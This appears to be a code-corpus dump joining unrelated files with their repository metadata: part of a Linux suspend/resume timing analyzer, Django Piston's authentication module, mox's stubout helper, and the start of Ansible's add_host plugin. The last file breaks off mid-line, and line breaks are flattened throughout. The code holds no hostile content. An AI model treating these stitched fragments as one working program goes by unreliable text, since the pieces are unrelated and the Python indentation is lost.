if(tTotal == 0): print("ERROR: No timeline data") sys.exit() suspend_time = "%.0f"%(-data.start*1000) resume_time = "%.0f"%(data.end*1000) if data.fwValid: devtl.html['timeline'] = html_timetotal.format(suspend_time, resume_time, "Total") sktime = "%.3f"%((data.dmesg['suspend_cpu']['end'] - data.dmesg['suspend_general']['start'])*1000) sftime = "%.3f"%(data.fwSuspend / 1000000.0) rftime = "%.3f"%(data.fwResume / 1000000.0) rktime = "%.3f"%((data.dmesg['resume_general']['end'] - data.dmesg['resume_cpu']['start'])*1000) devtl.html['timeline'] += html_timegroups.format(sktime, sftime, rftime, rktime) else: devtl.html['timeline'] = html_timetotal.format(suspend_time, resume_time, "Kernel") # determine the maximum number of rows we need to draw timelinerows = 0 for phase in data.dmesg: list = data.dmesg[phase]['list'] rows = setTimelineRows(list, list) data.dmesg[phase]['row'] = rows if(rows > timelinerows): timelinerows = rows # calculate the timeline height and create its bounding box devtl.setRows(timelinerows + 1) devtl.html['timeline'] += html_zoombox; devtl.html['timeline'] += html_timeline.format("dmesg", devtl.height); # draw the colored boxes for each of the phases for b in data.dmesg: phase = data.dmesg[b] left = "%.3f" % (((phase['start']-data.start)*100)/tTotal) width = "%.3f" % (((phase['end']-phase['start'])*100)/tTotal) devtl.html['timeline'] += html_phase.format(left, width, "%.3f"%devtl.scaleH, "%.3f"%(100-devtl.scaleH), data.dmesg[b]['color'], "") # draw the time scale, try to make the number of labels readable devtl.html['scale'] = createTimeScale(t0, tMax, data.tSuspended) devtl.html['timeline'] += devtl.html['scale'] for b in data.dmesg: phaselist = data.dmesg[b]['list'] for d in phaselist: name = d if(d in data.altdevname): name = data.altdevname[d] dev = phaselist[d] height = (100.0 - devtl.scaleH)/data.dmesg[b]['row'] top = "%.3f" % ((dev['row']*height) + devtl.scaleH) left = "%.3f" % (((dev['start']-data.start)*100)/tTotal) width = "%.3f" % (((dev['end']-dev['start'])*100)/tTotal) len = " (%0.3f ms) " % ((dev['end']-dev['start'])*1000) color = "rgba(204,204,204,0.5)" devtl.html['timeline'] += html_device.format(dev['id'], name+len+b, left, top, "%.3f"%height, width, name) # timeline is finished devtl.html['timeline'] += "</div>\n</div>\n" # draw a legend which describes the phases by color devtl.html['legend'] = "<div class=\"legend\">\n" pdelta = 100.0/data.phases.__len__() pmargin = pdelta / 4.0 for phase in data.phases: order = "%.2f" % ((data.dmesg[phase]['order'] * pdelta) + pmargin) name = string.replace(phase, "_", " &nbsp;") devtl.html['legend'] += html_legend.format(order, data.dmesg[phase]['color'], name) devtl.html['legend'] += "</div>\n" hf = open(sysvals.htmlfile, 'w') thread_height = 0 # write the html header first (html head, css code, everything up to the start of body) html_header = "<!DOCTYPE html>\n<html>\n<head>\n\ <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n\ <title>AnalyzeSuspend</title>\n\ <style type='text/css'>\n\ body {overflow-y: scroll;}\n\ .stamp {width: 100%;text-align:center;background-color:gray;line-height:30px;color:white;font: 25px Arial;}\n\ .callgraph {margin-top: 30px;box-shadow: 5px 5px 20px black;}\n\ .callgraph article * {padding-left: 28px;}\n\ h1 {color:black;font: bold 30px Times;}\n\ table {width:100%;}\n\ .gray {background-color:rgba(80,80,80,0.1);}\n\ .green {background-color:rgba(204,255,204,0.4);}\n\ .purple {background-color:rgba(128,0,128,0.2);}\n\ .yellow {background-color:rgba(255,255,204,0.4);}\n\ .time1 {font: 22px Arial;border:1px solid;}\n\ .time2 {font: 15px Arial;border-bottom:1px solid;border-left:1px solid;border-right:1px solid;}\n\ td {text-align: center;}\n\ .tdhl {color: red;}\n\ .hide {display: none;}\n\ .pf {display: none;}\n\ .pf:checked + label {background: url(\'data:image/svg+xml;utf,<?xml version=\"1.0\" standalone=\"no\"?><svg xmlns=\"http://www.w3.org/2000/svg\" height=\"18\" width=\"18\" version=\"1.1\"><circle cx=\"9\" cy=\"9\" r=\"8\" stroke=\"black\" stroke-width=\"1\" fill=\"white\"/><rect x=\"4\" y=\"8\" width=\"10\" height=\"2\" style=\"fill:black;stroke-width:0\"/><rect x=\"8\" y=\"4\" width=\"2\" height=\"10\" style=\"fill:black;stroke-width:0\"/></svg>\') no-repeat left center;}\n\ .pf:not(:checked) ~ label {background: url(\'data:image/svg+xml;utf,<?xml version=\"1.0\" standalone=\"no\"?><svg xmlns=\"http://www.w3.org/2000/svg\" height=\"18\" width=\"18\" version=\"1.1\"><circle cx=\"9\" cy=\"9\" r=\"8\" stroke=\"black\" stroke-width=\"1\" fill=\"white\"/><rect x=\"4\" y=\"8\" width=\"10\" height=\"2\" style=\"fill:black;stroke-width:0\"/></svg>\') no-repeat left center;}\n\ .pf:checked ~ *:not(:nth-child(2)) {display: none;}\n\ .zoombox {position: relative; width: 100%; overflow-x: scroll;}\n\ .timeline {position: relative; font-size: 14px;cursor: pointer;width: 100%; overflow: hidden; background-color:#dddddd;}\n\ .thread {position: absolute; height: "+"%.3f"%thread_height+"%; overflow: hidden; line-height: 30px; border:1px solid;text-align:center;white-space:nowrap;background-color:rgba(204,204,204,0.5);}\n\ .thread:hover {background-color:white;border:1px solid red;z-index:10;}\n\ .phase {position: absolute;overflow: hidden;border:0px;text-align:center;}\n\ .t {position: absolute; top: 0%; height: 100%; border-right:1px solid black;}\n\ .legend {position: relative; width: 100%; height: 40px; text-align: center;margin-bottom:20px}\n\ .legend .square {position:absolute;top:10px; width: 0px;height: 20px;border:1px solid;padding-left:20px;}\n\ button {height:40px;width:200px;margin-bottom:20px;margin-top:20px;font-size:24px;}\n\ </style>\n</head>\n<body>\n" hf.write(html_header) # write the test title and general info header if(data.stamp['time'] != ""): hf.write(headline_stamp.format(data.stamp['host'], data.stamp['kernel'], data.stamp['mode'], data.stamp['time'])) # write the dmesg data (device timeline) if(data.usedmesg): hf.write(devtl.html['timeline']) hf.write(devtl.html['legend']) hf.write('<div id="devicedetail"></div>\n') hf.write('<div id="devicetree"></div>\n') # write the ftrace data (callgraph) if(data.useftrace): hf.write('<section id="callgraphs" class="callgraph">\n') # write out the ftrace data converted to html html_func_top = '<article id="{0}" class="atop" style="background-color:{1}">\n<input type="checkbox" class="pf" id="f{2}" checked/><label for="f{2}">{3} {4}</label>\n' html_func_start = '<article>\n<input type="checkbox" class="pf" id="f{0}" checked/><label for="f{0}">{1} {2}</label>\n' html_func_end = '</article>\n' html_func_leaf = '<article>{0} {1}</article>\n' num = 0 for p in data.phases: list = data.dmesg[p]['list'] for devname in data.sortedDevices(p): if('ftrace' not in list[devname]): continue name = devname if(devname in data.altdevname): name = data.altdevname[devname] devid = list[devname]['id'] cg = list[devname]['ftrace'] flen = "(%.3f ms)" % ((cg.end - cg.start)*1000) hf.write(html_func_top.format(devid, data.dmesg[p]['color'], num, name+" "+p, flen)) num += 1 for line in cg.list: if(line.length < 0.000000001): flen = "" else: flen = "(%.3f ms)" % (line.length*1000) if(line.freturn and line.fcall): hf.write(html_func_leaf.format(line.name, flen)) elif(line.freturn): hf.write(html_func_end) else: hf.write(html_func_start.format(num, line.name, flen)) num += 1 hf.write(html_func_end) hf.write("\n\n </section>\n") # write the footer and close addScriptCode(hf) hf.write("</body>\n</html>\n") hf.close() return True def addScriptCode(hf): global data t0 = (data.start - data.tSuspended) * 1000 tMax = (data.end - data.tSuspended) * 1000 # create an array in javascript memory with the device details detail = ' var bounds = [%f,%f];\n' % (t0, tMax) detail += ' var d = [];\n' dfmt = ' d["%s"] = { n:"%s", p:"%s", c:[%s] };\n'; for p in data.dmesg: list = data.dmesg[p]['list'] for d in list: parent = data.deviceParentID(d, p) idlist = data.deviceChildrenIDs(d, p) idstr = "" for i in idlist: if(idstr == ""): idstr += '"'+i+'"' else: idstr += ', '+'"'+i+'"' detail += dfmt % (list[d]['id'], d, parent, idstr) # add the code which will manipulate the data in the browser script_code = \ '<script type="text/javascript">\n'+detail+\ ' var filter = [];\n'\ ' var table = [];\n'\ ' function deviceParent(devid) {\n'\ ' var devlist = [];\n'\ ' if(filter.indexOf(devid) < 0) filter[filter.length] = devid;\n'\ ' if(d[devid].p in d)\n'\ ' devlist = deviceParent(d[devid].p);\n'\ ' else if(d[devid].p != "")\n'\ ' devlist = [d[devid].p];\n'\ ' devlist[devlist.length] = d[devid].n;\n'\ ' return devlist;\n'\ ' }\n'\ ' function deviceChildren(devid, column, row) {\n'\ ' if(!(devid in d)) return;\n'\ ' if(filter.indexOf(devid) < 0) filter[filter.length] = devid;\n'\ ' var cell = {name: d[devid].n, span: 1};\n'\ ' var span = 0;\n'\ ' if(column >= table.length) table[column] = [];\n'\ ' table[column][row] = cell;\n'\ ' for(var i = 0; i < d[devid].c.length; i++) {\n'\ ' var cid = d[devid].c[i];\n'\ ' span += deviceChildren(cid, column+1, row+span);\n'\ ' }\n'\ ' if(span == 0) span = 1;\n'\ ' table[column][row].span = span;\n'\ ' return span;\n'\ ' }\n'\ ' function deviceTree(devid, resume) {\n'\ ' var html = "<table border=1>";\n'\ ' filter = [];\n'\ ' table = [];\n'\ ' plist = deviceParent(devid);\n'\ ' var devidx = plist.length - 1;\n'\ ' for(var i = 0; i < devidx; i++)\n'\ ' table[i] = [{name: plist[i], span: 1}];\n'\ ' deviceChildren(devid, devidx, 0);\n'\ ' for(var i = 0; i < devidx; i++)\n'\ ' table[i][0].span = table[devidx][0].span;\n'\ ' for(var row = 0; row < table[0][0].span; row++) {\n'\ ' html += "<tr>";\n'\ ' for(var col = 0; col < table.length; col++)\n'\ ' if(row in table[col]) {\n'\ ' var cell = table[col][row];\n'\ ' var args = "";\n'\ ' if(cell.span > 1)\n'\ ' args += " rowspan="+cell.span;\n'\ ' if((col == devidx) && (row == 0))\n'\ ' args += " class=tdhl";\n'\ ' if(resume)\n'\ ' html += "<td"+args+">"+cell.name+" &rarr;</td>";\n'\ ' else\n'\ ' html += "<td"+args+">&larr; "+cell.name+"</td>";\n'\ ' }\n'\ ' html += "</tr>";\n'\ ' }\n'\ ' html += "</table>";\n'\ ' return html;\n'\ ' }\n'\ ' function zoomTimeline() {\n'\ ' var timescale = document.getElementById("timescale");\n'\ ' var dmesg = document.getElementById("dmesg");\n'\ ' var zoombox = document.getElementById("dmesgzoombox");\n'\ ' var val = parseFloat(dmesg.style.width);\n'\ ' var newval = 100;\n'\ ' var sh = window.outerWidth / 2;\n'\ ' if(this.id == "zoomin") {\n'\ ' newval = val * 1.2;\n'\ ' if(newval > 40000) newval = 40000;\n'\ ' dmesg.style.width = newval+"%";\n'\ ' zoombox.scrollLeft = ((zoombox.scrollLeft + sh) * newval / val) - sh;\n'\ ' } else if (this.id == "zoomout") {\n'\ ' newval = val / 1.2;\n'\ ' if(newval < 100) newval = 100;\n'\ ' dmesg.style.width = newval+"%";\n'\ ' zoombox.scrollLeft = ((zoombox.scrollLeft + sh) * newval / val) - sh;\n'\ ' } else {\n'\ ' zoombox.scrollLeft = 0;\n'\ ' dmesg.style.width = "100%";\n'\ ' }\n'\ ' var html = "";\n'\ ' var t0 = bounds[0];\n'\ ' var tMax = bounds[1];\n'\ ' var tTotal = tMax - t0;\n'\ ' var wTotal = tTotal * 100.0 / newval;\n'\ ' for(var tS = 1000; (wTotal / tS) < 3; tS /= 10);\n'\ ' if(tS < 1) tS = 1;\n'\ ' for(var s = ((t0 / tS)|0) * tS; s < tMax; s += tS) {\n'\ ' var pos = (tMax - s) * 100.0 / tTotal;\n'\ ' var name = (s == 0)?"S/R":(s+"ms");\n'\ ' html += \"<div class=\\\"t\\\" style=\\\"right:\"+pos+\"%\\\">\"+name+\"</div>\";\n'\ ' }\n'\ ' timescale.innerHTML = html;\n'\ ' }\n'\ ' function deviceDetail() {\n'\ ' var devtitle = document.getElementById("devicedetail");\n'\ ' devtitle.innerHTML = "<h1>"+this.title+"</h1>";\n'\ ' var devtree = document.getElementById("devicetree");\n'\ ' devtree.innerHTML = deviceTree(this.id, (this.title.indexOf("resume") >= 0));\n'\ ' var cglist = document.getElementById("callgraphs");\n'\ ' if(!cglist) return;\n'\ ' var cg = cglist.getElementsByClassName("atop");\n'\ ' for (var i = 0; i < cg.length; i++) {\n'\ ' if(filter.indexOf(cg[i].id) >= 0) {\n'\ ' cg[i].style.display = "block";\n'\ ' } else {\n'\ ' cg[i].style.display = "none";\n'\ ' }\n'\ ' }\n'\ ' }\n'\ ' window.addEventListener("load", function () {\n'\ ' var dmesg = document.getElementById("dmesg");\n'\ ' dmesg.style.width = "100%"\n'\ ' document.getElementById("zoomin").onclick = zoomTimeline;\n'\ ' document.getElementById("zoomout").onclick = zoomTimeline;\n'\ ' document.getElementById("zoomdef").onclick = zoomTimeline;\n'\ ' var dev = dmesg.getElementsByClassName("thread");\n'\ ' for (var i = 0; i < dev.length; i++) {\n'\ ' dev[i].onclick = deviceDetail;\n'\ ' }\n'\ ' zoomTimeline();\n'\ ' });\n'\ '</script>\n' hf.write(script_code); # Function: executeSuspend # Description: # Execute system suspend through the sysfs interface def executeSuspend(): global sysvals, data detectUSB() pf = open(sysvals.powerfile, 'w') # clear the kernel ring buffer just as we start os.system("dmesg -C") # start ftrace if(data.useftrace): print("START TRACING") os.system("echo 1 > "+sysvals.tpath+"tracing_on") os.system("echo SUSPEND START > "+sysvals.tpath+"trace_marker") # initiate suspend if(sysvals.rtcwake): print("SUSPEND START") os.system("rtcwake -s 10 -m "+sysvals.suspendmode) else: print("SUSPEND START (press a key to resume)") pf.write(sysvals.suspendmode) # execution will pause here pf.close() # return from suspend print("RESUME COMPLETE") # stop ftrace if(data.useftrace): os.system("echo RESUME COMPLETE > "+sysvals.tpath+"trace_marker") os.system("echo 0 > "+sysvals.tpath+"tracing_on") print("CAPTURING FTRACE") os.system("echo \""+sysvals.teststamp+"\" > "+sysvals.ftracefile) os.system("cat "+sysvals.tpath+"trace >> "+sysvals.ftracefile) # grab a copy of the dmesg output print("CAPTURING DMESG") os.system("echo \""+sysvals.teststamp+"\" > "+sysvals.dmesgfile) os.system("dmesg -c >> "+sysvals.dmesgfile) # Function: detectUSB # Description: # Detect all the USB hosts and devices currently connected def detectUSB(): global sysvals, data for dirname, dirnames, filenames in os.walk("/sys/devices"): if(re.match(r".*/usb[0-9]*.*", dirname) and "idVendor" in filenames and "idProduct" in filenames): vid = os.popen("cat %s/idVendor 2>/dev/null" % dirname).read().replace('\n', '') pid = os.popen("cat %s/idProduct 2>/dev/null" % dirname).read().replace('\n', '') product = os.popen("cat %s/product 2>/dev/null" % dirname).read().replace('\n', '') name = dirname.split('/')[-1] if(len(product) > 0): data.altdevname[name] = "%s [%s]" % (product, name) else: data.altdevname[name] = "%s:%s [%s]" % (vid, pid, name) def getModes(): global sysvals modes = "" if(os.path.exists(sysvals.powerfile)): fp = open(sysvals.powerfile, 'r') modes = string.split(fp.read()) fp.close() return modes # Function: statusCheck # Description: # Verify that the requested command and options will work def statusCheck(dryrun): global sysvals, data res = dict() if(data.notestrun): print("SUCCESS: The command should run!") return # check we have root access check = "YES" if(os.environ['USER'] != "root"): if(not dryrun): doError("root access is required", False) check = "NO" res[" have root access: "] = check # check sysfs is mounted check = "YES" if(not os.path.exists(sysvals.powerfile)): if(not dryrun): doError("sysfs must be mounted", False) check = "NO" res[" is sysfs mounted: "] = check # check target mode is a valid mode check = "YES" modes = getModes() if(sysvals.suspendmode not in modes): if(not dryrun): doError("%s is not a value power mode" % sysvals.suspendmode, False) check = "NO" res[" is "+sysvals.suspendmode+" a power mode: "] = check # check if ftrace is available if(data.useftrace): check = "YES" if(not verifyFtrace()): if(not dryrun): doError("ftrace is not configured", False) check = "NO" res[" is ftrace usable: "] = check # check if rtcwake if(sysvals.rtcwake): check = "YES" version = os.popen("rtcwake -V 2>/dev/null").read() if(not version.startswith("rtcwake")): if(not dryrun): doError("rtcwake is not installed", False) check = "NO" res[" is rtcwake usable: "] = check if(dryrun): status = True print("Checking if system can run the current command:") for r in res: print("%s\t%s" % (r, res[r])) if(res[r] != "YES"): status = False if(status): print("SUCCESS: The command should run!") else: print("FAILURE: The command won't run!") def printHelp(): global sysvals modes = getModes() print("") print("AnalyzeSuspend") print("Usage: sudo analyze_suspend.py <options>") print("") print("Description:") print(" Initiates a system suspend/resume while capturing dmesg") print(" and (optionally) ftrace data to analyze device timing") print("") print(" Generates output files in subdirectory: suspend-mmddyy-HHMMSS") print(" HTML output: <hostname>_<mode>.html") print(" raw dmesg output: <hostname>_<mode>_dmesg.txt") print(" raw ftrace output (with -f): <hostname>_<mode>_ftrace.txt") print("") print("Options:") print(" [general]") print(" -h Print this help text") print(" -verbose Print extra information during execution and analysis") print(" -status Test to see if the system is enabled to run this tool") print(" -modes List available suspend modes") print(" -m mode Mode to initiate for suspend %s (default: %s)") % (modes, sysvals.suspendmode) print(" -rtcwake Use rtcwake to autoresume after 10 seconds (default: disabled)") print(" -f Use ftrace to create device callgraphs (default: disabled)") print(" [re-analyze data from previous runs]") print(" -dmesg dmesgfile Create HTML timeline from dmesg file") print(" -ftrace ftracefile Create HTML callgraph from ftrace file") print("") return True def doError(msg, help): print("ERROR: %s") % msg if(help == True): printHelp() sys.exit() # -- script main -- # loop through the command line arguments cmd = "" args = iter(sys.argv[1:]) for arg in args: if(arg == "-m"): try: val = args.next() except: doError("No mode supplied", True) sysvals.suspendmode = val elif(arg == "-f"): data.useftrace = True elif(arg == "-modes"): cmd = "modes" elif(arg == "-status"): cmd = "status" elif(arg == "-verbose"): data.verbose = True elif(arg == "-rtcwake"): sysvals.rtcwake = True elif(arg == "-dmesg"): try: val = args.next() except: doError("No dmesg file supplied", True) data.notestrun = True data.usedmesg = True sysvals.dmesgfile = val elif(arg == "-ftrace"): try: val = args.next() except: doError("No ftrace file supplied", True) data.notestrun = True data.useftrace = True sysvals.ftracefile = val elif(arg == "-h"): printHelp() sys.exit() else: doError("Invalid argument: "+arg, True) # just run a utility command and exit if(cmd != ""): if(cmd == "status"): statusCheck(True) elif(cmd == "modes"): modes = getModes() print modes sys.exit() data.initialize() # if instructed, re-analyze existing data files if(data.notestrun): sysvals.setOutputFile() data.vprint("Output file: %s" % sysvals.htmlfile) if(sysvals.dmesgfile != ""): analyzeKernelLog() if(sysvals.ftracefile != ""): analyzeTraceLog() createHTML() sys.exit() # verify that we can run a test data.usedmesg = True statusCheck(False) # prepare for the test if(data.useftrace): initFtrace() sysvals.initTestOutput() data.vprint("Output files:\n %s" % sysvals.dmesgfile) if(data.useftrace): data.vprint(" %s" % sysvals.ftracefile) data.vprint(" %s" % sysvals.htmlfile) # execute the test executeSuspend() analyzeKernelLog() if(data.useftrace): analyzeTraceLog() createHTML()
gpl-2.0
tjsavage/tmrwmedia
piston/authentication.py
16
10751
import binascii import oauth from django.http import HttpResponse, HttpResponseRedirect from django.contrib.auth.models import User, AnonymousUser from django.contrib.auth.decorators import login_required from django.template import loader from django.contrib.auth import authenticate from django.conf import settings from django.core.urlresolvers import get_callable from django.core.exceptions import ImproperlyConfigured from django.shortcuts import render_to_response from django.template import RequestContext from piston import forms class NoAuthentication(object): """ Authentication handler that always returns True, so no authentication is needed, nor initiated (`challenge` is missing.) """ def is_authenticated(self, request): return True class HttpBasicAuthentication(object): """ Basic HTTP authenticater. Synopsis: Authentication handlers must implement two methods: - `is_authenticated`: Will be called when checking for authentication. Receives a `request` object, please set your `User` object on `request.user`, otherwise return False (or something that evaluates to False.) - `challenge`: In cases where `is_authenticated` returns False, the result of this method will be returned. This will usually be a `HttpResponse` object with some kind of challenge headers and 401 code on it. """ def __init__(self, auth_func=authenticate, realm='API'): self.auth_func = auth_func self.realm = realm def is_authenticated(self, request): auth_string = request.META.get('HTTP_AUTHORIZATION', None) if not auth_string: return False try: (authmeth, auth) = auth_string.split(" ", 1) if not authmeth.lower() == 'basic': return False auth = auth.strip().decode('base64') (username, password) = auth.split(':', 1) except (ValueError, binascii.Error): return False request.user = self.auth_func(username=username, password=password) \ or AnonymousUser() return not request.user in (False, None, AnonymousUser()) def challenge(self): resp = HttpResponse("Authorization Required") resp['WWW-Authenticate'] = 'Basic realm="%s"' % self.realm resp.status_code = 401 return resp def __repr__(self): return u'<HTTPBasic: realm=%s>' % self.realm class HttpBasicSimple(HttpBasicAuthentication): def __init__(self, realm, username, password): self.user = User.objects.get(username=username) self.password = password super(HttpBasicSimple, self).__init__(auth_func=self.hash, realm=realm) def hash(self, username, password): if username == self.user.username and password == self.password: return self.user def load_data_store(): '''Load data store for OAuth Consumers, Tokens, Nonces and Resources ''' path = getattr(settings, 'OAUTH_DATA_STORE', 'piston.store.DataStore') # stolen from django.contrib.auth.load_backend i = path.rfind('.') module, attr = path[:i], path[i+1:] try: mod = __import__(module, {}, {}, attr) except ImportError, e: raise ImproperlyConfigured, 'Error importing OAuth data store %s: "%s"' % (module, e) try: cls = getattr(mod, attr) except AttributeError: raise ImproperlyConfigured, 'Module %s does not define a "%s" OAuth data store' % (module, attr) return cls # Set the datastore here. oauth_datastore = load_data_store() def initialize_server_request(request): """ Shortcut for initialization. """ if request.method == "POST": #and \ # request.META['CONTENT_TYPE'] == "application/x-www-form-urlencoded": params = dict(request.REQUEST.items()) else: params = { } # Seems that we want to put HTTP_AUTHORIZATION into 'Authorization' # for oauth.py to understand. Lovely. request.META['Authorization'] = request.META.get('HTTP_AUTHORIZATION', '') oauth_request = oauth.OAuthRequest.from_request( request.method, request.build_absolute_uri(), headers=request.META, parameters=params, query_string=request.environ.get('QUERY_STRING', '')) if oauth_request: oauth_server = oauth.OAuthServer(oauth_datastore(oauth_request)) oauth_server.add_signature_method(oauth.OAuthSignatureMethod_PLAINTEXT()) oauth_server.add_signature_method(oauth.OAuthSignatureMethod_HMAC_SHA1()) else: oauth_server = None return oauth_server, oauth_request def send_oauth_error(err=None): """ Shortcut for sending an error. """ response = HttpResponse(err.message.encode('utf-8')) response.status_code = 401 realm = 'OAuth' header = oauth.build_authenticate_header(realm=realm) for k, v in header.iteritems(): response[k] = v return response def oauth_request_token(request): oauth_server, oauth_request = initialize_server_request(request) if oauth_server is None: return INVALID_PARAMS_RESPONSE try: token = oauth_server.fetch_request_token(oauth_request) response = HttpResponse(token.to_string()) except oauth.OAuthError, err: response = send_oauth_error(err) return response def oauth_auth_view(request, token, callback, params): form = forms.OAuthAuthenticationForm(initial={ 'oauth_token': token.key, 'oauth_callback': token.get_callback_url() or callback, }) return render_to_response('piston/authorize_token.html', { 'form': form }, RequestContext(request)) @login_required def oauth_user_auth(request): oauth_server, oauth_request = initialize_server_request(request) if oauth_request is None: return INVALID_PARAMS_RESPONSE try: token = oauth_server.fetch_request_token(oauth_request) except oauth.OAuthError, err: return send_oauth_error(err) try: callback = oauth_server.get_callback(oauth_request) except: callback = None if request.method == "GET": params = oauth_request.get_normalized_parameters() oauth_view = getattr(settings, 'OAUTH_AUTH_VIEW', None) if oauth_view is None: return oauth_auth_view(request, token, callback, params) else: return get_callable(oauth_view)(request, token, callback, params) elif request.method == "POST": try: form = forms.OAuthAuthenticationForm(request.POST) if form.is_valid(): token = oauth_server.authorize_token(token, request.user) args = '?'+token.to_string(only_key=True) else: args = '?error=%s' % 'Access not granted by user.' print "FORM ERROR", form.errors if not callback: callback = getattr(settings, 'OAUTH_CALLBACK_VIEW') return get_callable(callback)(request, token) response = HttpResponseRedirect(callback+args) except oauth.OAuthError, err: response = send_oauth_error(err) else: response = HttpResponse('Action not allowed.') return response def oauth_access_token(request): oauth_server, oauth_request = initialize_server_request(request) if oauth_request is None: return INVALID_PARAMS_RESPONSE try: token = oauth_server.fetch_access_token(oauth_request) return HttpResponse(token.to_string()) except oauth.OAuthError, err: return send_oauth_error(err) INVALID_PARAMS_RESPONSE = send_oauth_error(oauth.OAuthError('Invalid request parameters.')) class OAuthAuthentication(object): """ OAuth authentication. Based on work by Leah Culver. """ def __init__(self, realm='API'): self.realm = realm self.builder = oauth.build_authenticate_header def is_authenticated(self, request): """ Checks whether a means of specifying authentication is provided, and if so, if it is a valid token. Read the documentation on `HttpBasicAuthentication` for more information about what goes on here. """ if self.is_valid_request(request): try: consumer, token, parameters = self.validate_token(request) except oauth.OAuthError, err: print send_oauth_error(err) return False if consumer and token: request.user = token.user request.consumer = consumer request.throttle_extra = token.consumer.id return True return False def challenge(self): """ Returns a 401 response with a small bit on what OAuth is, and where to learn more about it. When this was written, browsers did not understand OAuth authentication on the browser side, and hence the helpful template we render. Maybe some day in the future, browsers will take care of this stuff for us and understand the 401 with the realm we give it. """ response = HttpResponse() response.status_code = 401 realm = 'API' for k, v in self.builder(realm=realm).iteritems(): response[k] = v tmpl = loader.render_to_string('oauth/challenge.html', { 'MEDIA_URL': settings.MEDIA_URL }) response.content = tmpl return response @staticmethod def is_valid_request(request): """ Checks whether the required parameters are either in the http-authorization header sent by some clients, which is by the way the preferred method according to OAuth spec, but otherwise fall back to `GET` and `POST`. """ must_have = [ 'oauth_'+s for s in [ 'consumer_key', 'token', 'signature', 'signature_method', 'timestamp', 'nonce' ] ] is_in = lambda l: all([ (p in l) for p in must_have ]) auth_params = request.META.get("HTTP_AUTHORIZATION", "") req_params = request.REQUEST return is_in(auth_params) or is_in(req_params) @staticmethod def validate_token(request, check_timestamp=True, check_nonce=True): oauth_server, oauth_request = initialize_server_request(request) return oauth_server.verify_request(oauth_request)
bsd-3-clause
ProfessionalIT/maxigenios-website
sdk/google_appengine/lib/mox/stubout.py
129
4975
#!/usr/bin/python2.4 # # Copyright 2008 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import inspect class StubOutForTesting: """Sample Usage: You want os.path.exists() to always return true during testing. stubs = StubOutForTesting() stubs.Set(os.path, 'exists', lambda x: 1) ... stubs.UnsetAll() The above changes os.path.exists into a lambda that returns 1. Once the ... part of the code finishes, the UnsetAll() looks up the old value of os.path.exists and restores it. """ def __init__(self): self.cache = [] self.stubs = [] def __del__(self): self.SmartUnsetAll() self.UnsetAll() def SmartSet(self, obj, attr_name, new_attr): """Replace obj.attr_name with new_attr. This method is smart and works at the module, class, and instance level while preserving proper inheritance. It will not stub out C types however unless that has been explicitly allowed by the type. This method supports the case where attr_name is a staticmethod or a classmethod of obj. Notes: - If obj is an instance, then it is its class that will actually be stubbed. Note that the method Set() does not do that: if obj is an instance, it (and not its class) will be stubbed. - The stubbing is using the builtin getattr and setattr. So, the __get__ and __set__ will be called when stubbing (TODO: A better idea would probably be to manipulate obj.__dict__ instead of getattr() and setattr()). Raises AttributeError if the attribute cannot be found. """ if (inspect.ismodule(obj) or (not inspect.isclass(obj) and obj.__dict__.has_key(attr_name))): orig_obj = obj orig_attr = getattr(obj, attr_name) else: if not inspect.isclass(obj): mro = list(inspect.getmro(obj.__class__)) else: mro = list(inspect.getmro(obj)) mro.reverse() orig_attr = None for cls in mro: try: orig_obj = cls orig_attr = getattr(obj, attr_name) except AttributeError: continue if orig_attr is None: raise AttributeError("Attribute not found.") # Calling getattr() on a staticmethod transforms it to a 'normal' function. # We need to ensure that we put it back as a staticmethod. old_attribute = obj.__dict__.get(attr_name) if old_attribute is not None and isinstance(old_attribute, staticmethod): orig_attr = staticmethod(orig_attr) self.stubs.append((orig_obj, attr_name, orig_attr)) setattr(orig_obj, attr_name, new_attr) def SmartUnsetAll(self): """Reverses all the SmartSet() calls, restoring things to their original definition. Its okay to call SmartUnsetAll() repeatedly, as later calls have no effect if no SmartSet() calls have been made. """ self.stubs.reverse() for args in self.stubs: setattr(*args) self.stubs = [] def Set(self, parent, child_name, new_child): """Replace child_name's old definition with new_child, in the context of the given parent. The parent could be a module when the child is a function at module scope. Or the parent could be a class when a class' method is being replaced. The named child is set to new_child, while the prior definition is saved away for later, when UnsetAll() is called. This method supports the case where child_name is a staticmethod or a classmethod of parent. """ old_child = getattr(parent, child_name) old_attribute = parent.__dict__.get(child_name) if old_attribute is not None: if isinstance(old_attribute, staticmethod): old_child = staticmethod(old_child) elif isinstance(old_attribute, classmethod): old_child = classmethod(old_child.im_func) self.cache.append((parent, old_child, child_name)) setattr(parent, child_name, new_child) def UnsetAll(self): """Reverses all the Set() calls, restoring things to their original definition. Its okay to call UnsetAll() repeatedly, as later calls have no effect if no Set() calls have been made. """ # Undo calls to Set() in reverse order, in case Set() was called on the # same arguments repeatedly (want the original call to be last one undone) self.cache.reverse() for (parent, old_child, child_name) in self.cache: setattr(parent, child_name, old_child) self.cache = []
mit
kstrauser/ansible
lib/ansible/plugins/action/add_host.py
39
2474
# (c) 2012-2014, Michael DeHaan <[email protected]> # Copyright 2012, Seth Vidal <[email protected]> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # Make coding more python3-ish from __future__ import (absolute_import, division, print_function) __metaclass__ = type from ansible.plugins.action import ActionBase class ActionModule(ActionBase): ''' Create inventory hosts and groups in the memory inventory''' ### We need to be able to modify the inventory BYPASS_HOST_LOOP = True TRANSFERS_FILES = False def run(self, tmp=None, task_vars=dict()): # FIXME: is this necessary in v2? #if self.runner.noop_on_check(inject): # return ReturnData(conn=conn, comm_ok=True, result=dict(skipped=True, msg='check mode not supported for this module')) # Parse out any hostname:port patterns new_name = self._task.args.get('name', self._task.args.get('hostname', None)) #vv("creating host via 'add_host': 